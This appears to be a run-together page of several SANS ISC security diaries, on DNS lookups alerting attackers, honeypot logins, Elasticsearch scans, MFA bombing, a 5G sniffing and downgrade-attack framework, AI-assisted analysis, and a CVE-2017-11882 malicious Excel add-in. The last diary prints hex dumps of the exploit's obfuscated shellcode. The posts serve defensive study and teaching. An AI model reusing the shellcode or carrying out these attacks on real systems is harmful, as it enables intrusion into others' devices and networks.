A lot of people like the command line, the CLI, the shell (name it as you want) because it provides a lot of powerful tools to perform investigations. The best example is probably parsing logs! Even if we have SIEM to ingest and process them, many people still fall back to the good old suite of grep, cut, awk, sort, uniq, and many more.

They are also many tools that help to process network data like PCAP files or more log files. Most of them offer plenty of command line switches to change their behavior but there is one that remain interesting to use in some cases: the “-n”!

If there is not standardization of command line switches, many tools use “-n” in the same way: It disables DNS resolution of IP addresses. The following tools have this switch:

• tcpdump
• tshark
• ngrep
• iftop
• nethogs
• nmap
• masscan
• arping
• ping
• netstat
• ss
• lsof
• fuser
• conntrack
• iptables
• ip
• route

They are probable many more!

The risk is the following: If a tool tries to resolve an IP address into its FQDN (Fully Qualified Domain Name), and if the PTR[1] record is delegated to the attacker, he or she may become aware that investigations against the infrastructure are ongoing. Some ISPs implement sub-delegation[2] of reverse DNS to their customers. This means that PTR records can be managed by customers and they could log attempts to resolve in-addr.arpa records! 

Example:

$ dig -x 23.30.39.252 @192.168.254.8

; <<>> DiG 9.10.6 <<>> -x 23.30.39.252 @192.168.254.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19658
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;252.39.30.23.in-addr.arpa.    IN    PTR

;; ANSWER SECTION:
252.39.30.23.in-addr.arpa. 3582    IN    PTR    23-30-39-252-static.hfc.comcastbusiness.net.

;; Query time: 8 msec
;; SERVER: 192.168.254.8#53(192.168.254.8)
;; WHEN: Thu Aug 21 08:01:45 CEST 2025
;; MSG SIZE  rcvd: 111

The DNS resolver handling PTR records for this zone will log:

21-Aug-2025 08:01:45.856 queries: info: client @0x7fd5287c0688 192.168.254.218#64869 (252.39.30.23.in-addr.arpa): query: 252.39.30.23.in-addr.arpa IN PTR +E(0) (192.168.254.8)

The attacker knows that his/her IP address is being investigated and your IP address can also be disclosed (another good reason to always use a dedicated/anonymous system)

Note that the opposite is also dangerous. Imagine you find a script containing an arrary of three domains:

c2 = [ "domain1.top", "domain2.xyz", "domain3.cx" ]

You can be tempted to resolve all domains but only the last one is the effective C2 server and the others are decoys. The malware should never use them. If you try to resolve them and the attacker controls the primary domain, you'll be spotted!

[1] https://www.nslookup.io/learning/dns-record-types/ptr/
[2] https://simpledns.plus/kb/77-how-to-sub-delegate-a-reverse-zone-ipv4

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Looking at new usernames collected by our Cowrie honeypots, you will first of all notice a number of HTTP headers. It is very common for attackers to scan for web servers on ports that are covered by our Telnet honeypots. The result is that HTTP request headers end up in our username and password database. 

This morning, I noticed another interestingly looking username: Airtel@123 [1]. We do see it used with "passwords" like root, otx, and itmuser.

A quick Google search confirmed that "Airtel@123" is the password, and the username is likely "admin", which is not even in the list above. There is another odd thing the attacker may have overlooked here: Based on the documentation I could find, "Airtel@123" is not the telnet/ssh password for the Airtell Zerotouch router. Instead, it appears to be the Wifi default password. The login defaults to the less creative "admin"/"admin".

And while we are at it, here are a few more "interesting but useful" usernames and passwords I have seen:

'"username"' - Maybe someone parsing a random password list that was HTML encoded? Or someone trying to XSS our site?

echo 'Connection established' - no, it wasn't. Likely a check to see if the login succeeded.

'"root"' - even double quotes got escaped correctly. I still think this is more bad parsing of a username list, and not an XSS attack.

usernane "$oot" and password "$dmin". Interesting... No idea if that will work, but anybody got any ideas why someone may try this?

For a full list of recent usernames, see https://isc.sans.edu/data/allsshusernames.html. Let me know if you spot anything interesting.

 

[1] https://isc.sans.edu/ssh_usernames.html?username=QWlydGVsQDEyMw%3D%3D

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I noticed an increase in scans that appear to try to identify Elasticsearch instances. Elasticsearch is not a new target. Its ability to easily store and manage JSON data, combined with a simple HTTP API, makes it a convenient tool to store data that is directly accessible from the browser via JavaScript. Elasticsearch has, in particular, been popular for consolidating log data, and the "ELK" (Elasticsearch, Logstash, Kibana) platform has been a very successful standard for open source log management.

Call me old fashioned, but the idea of exposing my database directly to the user has always been a bit "frightening" to me. But the kids like to do dangerous things, and as a result we have plenty of exposed Elasticsearch instances. No surprise that attackers are looking for them.

The particular query I have been seeing these last couple days is "/_cluster/settings ". Running this against my own Elasticsearch instance:

$ curl -isku $ELASTIC_USERNAME:$ELASTIC_PASSWORD https://localhost:9200/_cluster/settings/
HTTP/1.1 200 OK
X-elastic-product: Elasticsearch
content-type: application/json
content-length: 32

{"persistent":{},"transient":{}}

does not really retrieve any concerning details, but it easily proves that we have a running Elasticsearch instance. 

Without authentication, a 401 error is returned, but again, there are no details about what version I am running. It is, however, possible that the formatting or the details of the error message can be used for fingerprinting.

 curl -isk https://localhost:9200/_cluster/settings/
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="security", charset="UTF-8"
WWW-Authenticate: Bearer realm="security"
WWW-Authenticate: ApiKey
content-type: application/json
content-length: 497

{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/_cluster/settings/]","header":{"WWW-Authenticate":["Basic realm=\"security\", charset=\"UTF-8\"","Bearer realm=\"security\"","ApiKey"]}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/_cluster/settings/]","header":{"WWW-Authenticate":["Basic realm=\"security\", charset=\"UTF-8\"","Bearer realm=\"security\"","ApiKey"]}},"status":401}

My best guess is that this actor is just looking for possible instances of Elasticsearch to come back later for details. Elasticsearch is always somewhat scanned for, but the request for /_cluster/settings/ is new. The graph below compares all requests for Elasticsearch with requests for /_clustser/settings

This weekend, a blog post by cyberNK regarding an "Elastic EDR Zero-Day" made headlines [1]. I do not think these requests are related, and Elastic disputed the blog post [2].

[1] https://infosecilluminati.medium.com/elastic-edr-zero-day-bypass-detection-execute-malware-and-trigger-bsod-what-happened-and-how-to-363ca11062b9
[2] https://discuss.elastic.co/t/elastic-response-to-blog-edr-0-day-vulnerability/381093

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I recently woke up (as one does each day, hopefully) and saw a few Microsoft MFA prompts had pinged me overnight.  Since I had just awakened, I just deleted them, then two minutes later clued in - this means that one of my passwords was compromised, and I had no idea which site the compromised creds were for.

I opened the MS Authenticator app on my phone, and saw no option for "view history" - this seems like a huge miss to me.

I finally found it in the MS portal at account.microsoft.com / my signins, which translates to: https://mysignins.microsoft.com/.  It's not so helpful that this information has moves ovr time, most of the online documentation tells you to navigate to your privacy settings to get to this page (which is not correct info for today's site).

Once you are there, this page nicely lists all the logins, successful or otherwise, as well as what site or resource they were for as well as the geography.  So if you are being attacked from abroad you can see that immediately in this page.  What it doesn't do is list the login geography and phone geography separately - that would be helpful, as if they don't match that's almost positively an attack, it takes the "I was on vacation" thing off the table (unless your organization uses proxies pre-vpn that is).

So perfect!  What does this mitigate against?  For me today, it tells me which site I need to change my password for.  Also it tells me that I need to contact that customer and tell them that they've been breeched somehow - all of my passwords are unique per-site and customer, so if one is compromised it's not because I used it on some less secure site - I'm not ordering take-out with any of my customer passwords for instance.

This doesn't mean that this customer has had a full compromise, that the attacker recovered it from AD (good luck with that against my longer, random string passwords) - more likely one of their web resources stores passwords in clear text or stores passwords using some reversible encryption.  This also means that organization is rocking it like it's 2005 - a web resource that's most likely using their on-premise AD as it's back-end authentication without MFA - then storing or caching the credentials, you know, for "performance reasons". (those same "performance reasons" that we fought against for years when implementing SSL/TLS).

What is the real attack vector here?  There are a couple:

• Ask Uber about MFA-bombing.  If you target someone junior enough - or senior enough, and send them 2-30-40 MFA requests, chances are that eventually they'll press "OK" to make the flood stop.  Or if the attacker can gain additional info on the target person (like say from LinkedIn), they can contact them via email or SMS, masquerade as an IT support person and instruct them to press "OK".  An MFA attack of this type against an Uber driver in 2022 ended up in a successful (but very brief) compromise. 
• Of course, if the compromise got around MFA protections (using either MFA bombing or some direct attack that bypasses authentication), the attacker is still free to pillage that site.  If they can pivot from that site, it's very likely that they'll find themselves on the inside network, where you can likely collect admin level creds from all sorts of places and own the whole shop.
• Even if the attacker can't find a decent pivot, now they've got working credentials, which they can leverage against anything else that you have that's internet facing - both those using MFA or not.  If they are persistent (that's the "P" in APT), eventually they'll find one that they can MFA Bomb, RCE or otherwise compromise, then pivot inbound from, which of course leads them to great destruction and victory, with tears from the target company to speed them on their way!

Many of you are likely admins for organizations though, so the single-person view isn't so useful.  As an administrator, can you see this same history information for your supported users?  Sort of, just without the actual maps (which aren't so useful anyway).  In https:portal.azure.com, navigate to identiy Protection / Dashboard / risk Detections.  Choose "View Attacks", then from there you can pick an individual user and list all of their logins. 

While I couldn't find an easy way to navigate to list all users (please use our comment field if you have that?), if you look in the URL, the report for a single user has a URL formatted as:
https://portal.azure.com/#view/Microsoft_AAD_IAM/SignInLogsList.ReactView/userObjectId/<User-GUID-goes -in-HEX-here>/timeRangeType/last1month

If you remove the "UserObjedId/<GUID> sections of the URL, this now lists all users in the organization.  From there you can filter the display as needed or simply export it an dice it up with Excel or whatever.

If you've got a way to get to this info directly, or better yet if you have a link to the API (which would allow you to pull this into your SIEM) or Powershell script that can collect this, by all means share in our comment form!

===============
Rob VandenBrink
rob@coherentsecurity.com

As the world gradually adopts and transitions to using 5G for mobile, operational technology (OT), automation and Internet-of-Things (IoT) devices, a secure 5G network infrastructure remains critical. Recently, the Automated Systems SEcuriTy (ASSET) Research Group have released a new framework named SNI5GECT [pronounced as Sni-f-Gect (sniff + 5G + inject)] that enables users of the framework to i) sniff messages from pre-authentication 5G communication in real-time and ii) inject targeted attack payloads in downlink communications towards User Equipments (UE). I had previously written about how 5G connections are established over here, hence I will be diving directly into the SNI5GECT framework. In this diary, I will briefly provide an overview of the SNI5GECT framework and discuss a new multi-stage downgrade attack leveraging the SNI5GECT framework.

As mentioned earlier, SNI5GECT can sniff uplink (UL) and downlink (DL) 5G New Radio (NR) traffic over the air and inject downlink messages at the correct timing (i.e. after a specific protocol state) so the UE would accept the message in real-time. Such features allow SNI5GECT to fingerprint, perform denial-of-service, or downgrade attacks on targets requiring message injection under different communication states. Compared to prior state-of-the-art works, the SNI5GECT framework does not require rogue gNodeB (gNB) stations when executing over-the-air sniffing and stateful injections. The absence of a rogue gNB is significant as it reduces setup complexities while increasing stealth (e.g. avoiding rogue hardware detection mechanisms) since broadcast messages [Master Information Block (MIB) and System Information Block (SIB)] are not transmitted. With reference to Figure 1, the overview of SNI5GECT is illustrated.

Figure 1: Overview of Capabilities in SNI5GECT (figure reproduced with permission from ASSET Research Group) [1]

SNI5GECT consists of the following components (also illustrated in Figure 2):

• Syncher: Synchronizes time and frequency with the target base station.
• Broadcast Worker: Decodes broadcast information such as SIB1 and detects and decodes Random Access Response (RAR) message.
• UETracker: Tracks the connection between the UE and the base station.
• UE DL Worker: Decodes messages sent from the base station to the UE.
• GNB UL Worker: Decodes messages sent from the UE to the base station.
• GNB DL Injector: Encodes and injects messages to the UE.

Figure 2: Components of SNI5GECT (figure reproduced with permission from ASSET Research Group) [1]

While the SNI5GECT framework has had a few modules integrated (e.g. 5Ghoul, Registration Reject, Fingerprinting, etc), I wanted to briefly highlight the new multi-stage downgrade attack (issued with CVD-2024-0096) that was discovered while SNI5GECT was being developed. Firstly, using SNI5GECT, a legitimate Authentication Request from the base station to the UE is captured. The Authentication Request message is replayed, albeit containing an invalid sequence number (SQN). According to the 3rd Generation Partnership Project (3GPP) specification, once the UE receives such replayed message, the UE replies with an Authentication Failure message, starts timer T3520 (a timer used in 5G mobile networks during the authentication and key agreement (AKA) procedure for emergency services) and denylists (i.e., mark as barred) the currently connected 5G gNB if the authentication procedure is not completed before expiry of such timer or the authentication procedure keeps failing. Once the UE denies the gNB and if no other gNB with a different set of configuration is around, it disconnects from 5G and connects to a nearby 4G eNB with the same Mobile Country Code (MCC) and Mobile Network Code (MNC) as the previously connected gNB instead. Furthermore, if no 4G eNBs are available, the UE does not attempt to connect to the same gNB even after waiting a long time. To prevent the gNB from retrying the authentication procedure, SNI5GECT injects the replayed Authentication Request message immediately after the Registration Request message. It continues to do so after receiving any Authentication Failure message from the UE. This forces the UE to drop the connection and denylist the gNB regardless of subsequent attempts from the gNB to continue with the authentication procedure.

There are some current limitations for the SNI5GECT framework. It currently only supports 5G and downlink injection, but can accept extensions as it has a modular design. The accuracy of sniffing and injection are affected by distance (and other factors like dense environments) between the device running SNI5GECT and the target UEs. SNI5GECT also cannot exploit any 5G post-authentication messages due to usage of encrypted messages by design. UEs that have had current connections (post-Random Access Response (RAR) state) with a gNB node would not have their traffic sniffed since SNI5GECT relies on tracking the UE’s Radio Network Temporary Identifier (RNTI) from the start of the Physical Random Access Channel (PRACH) procedure. Finally, SNI5GECT is unable to distinguish a smartphone model or user (i.e., victim UE) solely based on the RNTI to launch targeted attacks. Although it may appear that there are quite a number of limitations, there is currently no open-source alternatives that offer the capabilities that SNI5GECT present.

SNI5GECT can be used with Software Defined Radios (SDR) such as the USRP B210 SDR or USRP x310 SDR, and it is recommended that the host machine has minimally a 12-core CPU with 16GB of RAM. The full technical details of SNI5GECT can be found here [1], and also available as a downloadable PDF file [2].

References:
[1] https://www.sni5gect.com/
[2] https://www.usenix.org/system/files/usenixsecurity25-luo-shijie.pdf

-----------
Yee Ching Tok, Ph.D., ISC Handler
Personal Site
Mastodon
Twitter

[This is a Guest Diary by Joseph Noa, an ISC intern as part of the SANS.edu BACS program]

Introduction

Time is of the essence when it comes to attacks and understanding what you're seeing can be tricky when under pressure. As security professionals, we need to use every tool available to us so we can identify, stop, and then mitigate threats. Artificial Intelligence (AI) is the future. It is a tool that can make security professionals more efficient, and I cannot stress that point. It is a TOOL. ChatGPT, Gemini, Copilot, and others are readily available to us whether we subscribe or use a free tier. I use AI at my job to help me with my analysis and various tasks. So, I'm going to talk about it.

Why AI

I want to state again that AI is a tool. Security professionals use tools every day and AI is a tool that should be leveraged to help fill in knowledge gaps or assist in analysis. Google is a phenomenal tool when it comes to researching things. Whether it be you need help programming/scripting or need to know about a tool and how to use it, Google has been the go-to for years.

However, the process of using Google can be time consuming. Let's say you are programming/scripting something to perform a specific task, or that can ingest data and produce a specific result catered to your needs. You want this item to be repeatable. You are struggling to get the results you want. There is a line of code that is executing but the data is being expressed in the incorrect format, or it is only producing part of the data that it is supposed to. Maybe a loop is failing to execute. Maybe it just fails. There are endless reasons why it could be failing. This has happened to me countless times while working with PowerShell and Python. It can be an extremely frustrating process. So now we turn to Google to point us in a direction. We look at several Stack Overflow threads or another technical forum that show something similar to what you are trying to accomplish and now it is added to the code. It runs and it still fails. Then we realize the code in the thread is for Python 2 and the code that is being developed is Python 3. Features may have changed or been removed entirely. So, what now?

AI and Coding

Technology is constantly changing. There are new features and updates on a regular basis. It is impossible to keep up. I'm not a coder by trade but I have needed to build things out in Python and PowerShell. Constant trial and error. Sometimes, it is a lot more error then not.

This is where I think AI can prove to be extremely valuable. We can copy and paste code into the AI chat box and ask questions about the specific issue that is causing the code to fail to produce the desired results. AI provides instant feedback. Sometimes it may be something as simple as not having the formatting correct causing a loop to not execute but also not throw an error. AI can quickly identify the issue and return code that now has the correct formatting. We can then take that code, run it, and now we find it is working and producing the desired result. This all happens over the course of a few minutes whereas continuing to Google the issue just continues to yield different answers that fail to resolve the issue. This can happen simply due to our failure to notice that a line of code wasn't nested correctly in a loop because the indentation was incorrect.

The best part about this is that not only does the AI provide the corrected code back, but AI will also provide an explanation of the issue, highlighting the differences between the incorrect code and the corrected code. Explanations can go a long way in terms of learning and growing our skillsets.

The normal "Hello World!" test should be enough to just give a simple example of how AI can help with coding.

I'm going to run hello_world.py. The code is shown below.

#bad code

print(hello world!)

The screenshot below shows the error that's thrown when attempting to run the bad code.

Let's throw that code into Gemini (Google's AI and my preferred AI) and see what Gemini tells us.

Gemini took ingested the code, reviewed it, and, in this case, gave us the feedback within seconds. We will see that Gemini not only provided two different solutions to our problem but also explains why it wasn't working.

Let's try out the solutions. Below are the two examples of the code. I'll use them to create two scripts and then run them in my terminal to see if they work. As you can see, Gemini provided us with two solutions to our code and they both worked.

print("hello world!")

print('hello world!')

One thing to note, using AI does not replace our need to understand coding and what we are doing. AI can and will be wrong at times. We need to be able to pivot if the AI doesn't generate usable code. This is an instance where instead of looking to AI to provide the solution, we can use the information to pivot in our search for a solution based on the information we were given. Either way, we can get to where we need to be more quickly with the help of AI.

AI and Analysis

Similarly with coding, AI can be a huge benefit when it comes to the analysis of attacks. Attacks come in different forms which require different analysis. If a machine is infected with a malicious PowerShell script that has base64 encoding to obfuscate what it does, you can take that script and throw it into an AI prompt and will let you know if the script is malicious, has base64 encoding, and let you know what it's doing. AI will do this and do it rather quickly.

Another example is when a threat actor has established a shell on a system. The logs are being sent to a SIEM where you can see what commands were being executed on the machine. AI can help put together a picture of what the threat actor is attempting to accomplish based on the commands. Let's run through an example of this.

I had never done a honeypot before so the internship for the BACS is the first time I was exposed to some of these things. For my first observation, I saw some commands being run on the sensor that I wasn't familiar with. I generally understood what was happening, but I hadn't seen a `nohup $SHELL` before.
The screenshot below is from my observation assignment.

If we Google `nohup $SHELL` we can see that sometimes, even if we don't want to, we are going to get an answer from AI. Gemini is built into Google and if it can provide an answer, it will.

When we Google `nohup $SHELL` we get an answer like we would going to https://gemini.google.com/ and using the prompt to ask our question. Gemini provides a breakdown and shows that nohup command stands for "no hang up" and that $SHELL refers to the environment variable for the default shell of the user.

We can take our analysis a little further. I'm going to use the Gemini prompt and submit the entirety of the command to get a breakdown of what is happening. Both the command that was executed and the response from Gemini are extremely long so I'm going to omit the entirety of the response.

Again, we see a breakdown of the commands being run and what they are doing. This can be incredibly useful when it comes to quickly analyzing and understanding what is happening. Seconds matter and having this capability helps us get where we need to be more quickly.

Do We Need AI?

Do we need AI to do our jobs as security professionals? The answer is no. The fact is, we can absolutely accomplish what we need to without the help of AI. Is AI going to be wrong sometimes? Yes. Are we wrong sometimes? Absolutely. But not using AI as a tool that can enable us to be more efficient and react more quickly, puts us at a disadvantage. We see companies like Crowdstrike with their AI analyst (Charlotte AI) that will gather information and correlate events to provide an analyst with what they need to react. Threat actors aren't limiting themselves and are going to use anything they can to gain an advantage. Security professionals should be using every advantage we can to try and keep up. AI is the way of the future and while it's not perfect, it helps us get to where we need to be more quickly.

Crowdstrike Charlotte AI:
[1] https://www.crowdstrike.com/en-us/platform/charlotte-ai/
[2] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

One of the key messages broadcasted by security professionals is: "Patch, patch and patch again!". But they are nasty vulnerabilities that remain exploited by attackers even if they are pretty old. %%cve:2017-11882%% is one of them: this remote code execution affects Microsoft Office and, more precisely, the good old "Equation Editor". This tool was even killed by Microsoft due to numerous security issues[1]. But it still remains used by attackers to spread modern malware. 

I spotted an interesting file called “urchase_order__p.o_t4787074__kronospan_aps.xlam” (no typo, the leading “P” was missing). The file (SHA256:4fe60a82350a24cc0bfeb1a9df86a751cec9b7307035f90b0a08959a16a1fc7c) has a normal VT score (38/68)[2]. These days, it’s less common to see malicious Microsoft Office documents due to the latest rules implemented by Microsoft to make macros activation tricky[3]. 

Indeed, the file does not contain any VBA macro but an interesting payload:

remnux@remnux:~/malwarezoo/20250812$ oledump.py urchase_order__p.o_t4787074__kronospan_aps.xlam
A: xl/embeddings/wB.WOQMg
 A1:   3011188 ‘EqUaTIon nATIvE’
 A2:         0 ‘umLKsQ5’

Let’s try to find where’s the malicious code!

remnux@remnux:~/malwarezoo/20250812$ zipdump.py urchase_order__p.o_t4787074__kronospan_aps.xlam
Index Filename                                Encrypted Timestamp
    1 [Content_Types].xml                             0 2025-08-11 01:43:16
    2 _rels/.rels                                     0 2025-08-11 01:43:16
    3 xl/_rels/workbook.xml.rels                      0 2025-08-11 01:43:16
    4 xl/workbook.xml                                 0 2025-08-11 01:43:16
    5 xl/theme/theme1.xml                             0 2025-08-11 01:43:16
    6 xl/worksheets/_rels/sheet1.xml.rels             0 2025-08-11 01:43:16
    7 xl/worksheets/sheet2.xml                        0 2025-08-11 01:43:16
    8 xl/worksheets/sheet3.xml                        0 2025-08-11 01:43:16
    9 xl/worksheets/sheet1.xml                        0 2025-08-11 01:43:16
   10 xl/sharedStrings.xml                            0 2025-08-11 01:43:16
   11 xl/styles.xml                                   0 2025-08-11 01:43:16
   12 xl/printerSettings/printerSettings1.bin         0 2025-08-11 01:43:16
   13 docProps/core.xml                               0 2025-08-11 01:43:16
   14 docProps/app.xml                                0 2025-08-11 01:43:16
   15 xl/drawings/vmlDrawing1.vml                     0 2025-08-11 01:43:16
   16 xl/embeddings/wB.WOQMg                          0 2025-08-11 01:43:16

The file contains three sheets and, in the first one (xl/worksheets/shee1.xml), we find this:

<oleObject progId="g0naPE1NuRY" shapeId="1348" r:id="rId2" autoLoad="true"/></oleObjects>

In the relationships file, we see this:sha256su

<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/wB.WOQMg"/></Relationships>

It corresponds to the stream 16. This one looks like the exploit with an obfuscated payload:

remnux@remnux:~/malwarezoo/20250812$ zipdump.py urchase_order__p.o_t4787074__kronospan_aps.xlam -s 16 -d \
oledump.py -s 1 -d | \
xxd | more
00000010: 83ab 023d 8dfa d578 c38b 2408 037e 01eb  ...=...x..$..~..
00000020: 470a 0105 f89b e1ec 0000 0000 0000 0000  G...............
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0050 0645 0000 0000 0000 0000 0000 0000  .P.E............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0029 c344 0000 0000 eb11 81c7 e201 0000  .).D............
00000070: eb10 e98d 0000 00e9 82eb 42e8 1e00 0000  ..........B.....
00000080: eb1c 8d9f c302 0000 eb10 eb33 e996 0000  ...........3....
00000090: 0051 59e9 9700 0000 5159 eb68 ebcc 5feb  .QY.....QY.h.._.
000000a0: c99c 5157 8d8f 9150 0000 8dbf 1731 0000  ..QW...P.....1..
000000b0: 81ef f87a 0000 5f59 9deb c7eb adeb 78eb  ...z.._Y......x.
000000c0: 76eb 0131 eb3e 3137 ebc2 9c57 5081 c793  v..1.>17...WP...
000000d0: 0c00 008d 8789 2500 0081 efba 0b00 0050  ......%........P
000000e0: 588d b8ca 3e00 0081 c7b1 5c00 002d 8a2f  X...>.....\..-./
000000f0: 0000 585f 9deb 30eb 1ceb 09eb 2aeb c7e9  ..X_..0.....*...
00000100: 75ff ffff 6bf6 0090 69f6 b313 3a7c eb03  u...k...i...:|..
00000110: 4c43 25eb 04eb a6eb eb81 c689 ad83 5eeb  LC%...........^.
00000120: a5eb 0269 66eb 0b83 c704 e95b ffff ffeb  ...if......[....
00000130: c690 e955 ffff ff39 df72 cde9 2201 0000  ...U...9.r.."...
00000140: 167b 3651 a462 b222 29da dca4 bcba 09a1  .{6Q.b.").......
00000150: fe8d b0b3 51ce ae8a 1a30 852a 06d6 9628  ....Q....0.*...(
00000160: 3f9a 6bf2 bb4b f104 6de9 b735 93e8 32e9  ?.k..K..m..5..2.
00000170: e973 fa5d f0a7 09e0 31d4 0414 74c1 6c34  .s.]....1...t.l4
00000180: 09e7 ea45 01b3 896d 74c4 fc1a ba33 d556  ...E...mt....3.V
00000190: b2c6 cbfd 003d fefb 4787 2c96 740a fba4  .....=..G.,.t...
000001a0: f4e1 30d0 fa17 fbd9 baed 28d5 b219 6f68  ..0.......(...oh
000001b0: de07 a811 ff10 0c5b dfc6 7e2b 8430 c2f7  .......[..~+.0..
000001c0: 8007 c10e 22f7 c4cc c4e3 bfe4 fc1f 85a1  ...."...........
000001d0: ebb3 0c19 729e b47f 7712 7a55 27b3 44b1  ....r...w.zU'.D.
000001e0: 2cda 1981 fdd5 68c4 0c26 3ec9 16bf 917d  ,.....h..&>....}
000001f0: 574e 7997 d46c 73e9 91eb 9e95 da13 ff50  WNy..ls........P
00000200: 7bdb bdab 0830 653f 1735 2703 827e 197e  {....0e?.5'..~.~
[...Content Skipped...]
00004e10: 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d  ................
00004e20: 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d 0d4d  ...............M
00004e30: 5137 6a5a 3172 3867 766a 4562 6974 4549  Q7jZ1r8gvjEbitEI
00004e40: 7145 5056 4d59 3667 4144 3347 4f78 7231  qEPVMY6gAD3GOxr1
00004e50: 797a 6a6f 6247 5959 7338 3951 6337 6a46  yzjobGYYs89Qc7jF
00004e60: 6231 6c49 4e44 7339 5347 4330 6569 747a  b1lINDs9SGC0eitz
00004e70: 6e45 6f30 5871 6662 5a62 4142 784b 5954  nEo0XqfbZbABxKYT
00004e80: 6f6c 5447 4174 7146 3751 444e 466d 4743  olTGAtqF7QDNFmGC
00004e90: 4231 5861 6248 566a 4747 6f48 5541 6b74  B1XabHVjGGoHUAkt
00004ea0: 6964 356e 5345 3373 5273 646f 766e 3058  id5nSE3sRsdovn0X
00004eb0: 5156 5177 6143 3670 4849 6339 3048 4a4e  QVQwaC6pHIc90HJN
00004ec0: 636d 374a 3474 5877 686d 7968 5552 4175  cm7J4tXwhmyhURAu
00004ed0: 6f71 7a54 4748 5570 7171 3841 494c 4973  oqzTGHUpqq8AILIs
00004ee0: 6e4d 3644 6d59 4b4c 4147 6d53 684c 6b45  nM6DmYKLAGmShLkE
00004ef0: 6243 6d62 5141 6763 4934 726b 3930 6b46  bCmbQAgcI4rk90kF
00004f00: 5757 5a76 4c71 5230 3856 6154 4d42 6e50  WWZvLqR08VaTMBnP
00004f10: 3569 4a69 7257 6a37 7237 4d4a 4a76 6652  5iJirWj7r7MJJvfR
00004f20: 3551 336f 5a51 7670 7465 7542 4662 4c4c  5Q3oZQvpteuBFbLL
00004f30: 5859 3846 4b30 6645 7239 3946 626c 364c  XY8FK0fEr99Fbl6L
00004f40: 6c46 354a 4479 6f68 6873 4878 3847 5177  lF5JDyohhsHx8GQw
00004f50: 4773 6c61 6347 5672 5a4b 6c79 6d41 3472  GslacGVrZKlymA4r
00004f60: 7036 4470 3537 3759 724a 4745 6e6f 3337  p6Dp577YrJGEno37
00004f70: 5770 6b38 5678 4874 466f 6974 646e 6475  Wpk8VxHtFoitdndu
00004f80: 6142 776c 7857 7447 6537 4c4f 3276 496b  aBwlxWtGe7LO2vIk
00004f90: 615a 6249 6d6b 3248 436b 5a50 7849 6e4e  aZbImk2HCkZPxInN
00004fa0: 4a64 6e57 6172 386d 4b54 3572 6346 386d  JdnWar8mKT5rcF8m
00004fb0: 6c47 7256 4548 6e73 6849 7076 554c 6143  lGrVEHnshIpvULaC
00004fc0: 4762 4c57 6e6c 7579 4356 7a32 4b51 6536  GbLWnluyCVz2KQe6
00004fd0: 4b33 3438 6345 6264 3163 3272 345a 3346  K348cEbd1c2r4Z3F
00004fe0: 6b47 3539 4b74 466b 594f 634a 7738 7063  kG59KtFkYOcJw8pc
00004ff0: 5937 6a62 6b45 5451 5371 6962 5166 4552  Y7jbkETQSqibQfER
00005000: 316c 5a6f 7a76 3932 6447 5537 4631 6a45  1lZozv92dGU7F1jE
[...Content skipped...]

Let's verify that we are indeed facing the Equation Editor exploit. We can easily perform this task with another great Didier's tool, format-bytes.py:

remnux@remnux:~/malwarezoo/20250812$ zipdump.py urchase_order__p.o_t4787074__kronospan_aps.xlam -s 16 -d | oledump.py -s 1 -d | format-bytes.py -f name=eqn1
 1:   <class 'int'>         1c size of EQNOLEFILEHDR
 2:   <class 'int'>      15c26 
 3:   <class 'int'>       dc36 
 4:   <class 'int'>    197e73f 
 5:   <class 'int'>   6f506a2f 
 6:   <class 'int'>   3d02ab83 
 7:   <class 'int'>   78d5fa8d 
 8:   <class 'int'>    8248bc3 
 9:   <class 'int'>          3 Start MTEF header
10:   <class 'int'>         7e 
11:   <class 'int'>          1 
12:   <class 'int'>         eb 
13:   <class 'int'>         47 
14:   <class 'int'>          a Full size record
15:   <class 'int'>          1 Line record
16:   <class 'int'>          5 Font record
17:   <class 'int'>         f8 
18:   <class 'int'>         9b 
19: <class 'bytes'>         40 .......... b'e1ec0000000000000000' 0.833805 4caa3635d3c1ebf1bfc9e49745f5649c Shellcode/Command (fontname)
20:   <class 'int'>          0 
21:   <class 'int'>          0 
22:   <class 'int'>          0 
23:   <class 'int'>          0 
Remainder: 3011100
00000000: 00 00 00 00 00 00 00 00  00 29 C3 44 00 00 00 00  .........).D....
00000010: EB 11 81 C7 E2 01 00 00  EB 10 E9 8D 00 00 00 E9  ................
00000020: 82 EB 42 E8 1E 00 00 00  EB 1C 8D 9F C3 02 00 00  ..B.............
00000030: EB 10 EB 33 E9 96 00 00  00 51 59 E9 97 00 00 00  ...3.....QY.....
00000040: 51 59 EB 68 EB CC 5F EB  C9 9C 51 57 8D 8F 91 50  QY.h.._...QW...P
00000050: 00 00 8D BF 17 31 00 00  81 EF F8 7A 00 00 5F 59  .....1.....z.._Y
00000060: 9D EB C7 EB AD EB 78 EB  76 EB 01 31 EB 3E 31 37  ......x.v..1.>17
00000070: EB C2 9C 57 50 81 C7 93  0C 00 00 8D 87 89 25 00  ...WP.........%.
00000080: 00 81 EF BA 0B 00 00 50  58 8D B8 CA 3E 00 00 81  .......PX...>...
00000090: C7 B1 5C 00 00 2D 8A 2F  00 00 58 5F 9D EB 30 EB  ..\..-./..X_..0.
000000A0: 1C EB 09 EB 2A EB C7 E9  75 FF FF FF 6B F6 00 90  ....*...u...k...
000000B0: 69 F6 B3 13 3A 7C EB 03  4C 43 25 EB 04 EB A6 EB  i...:|..LC%.....
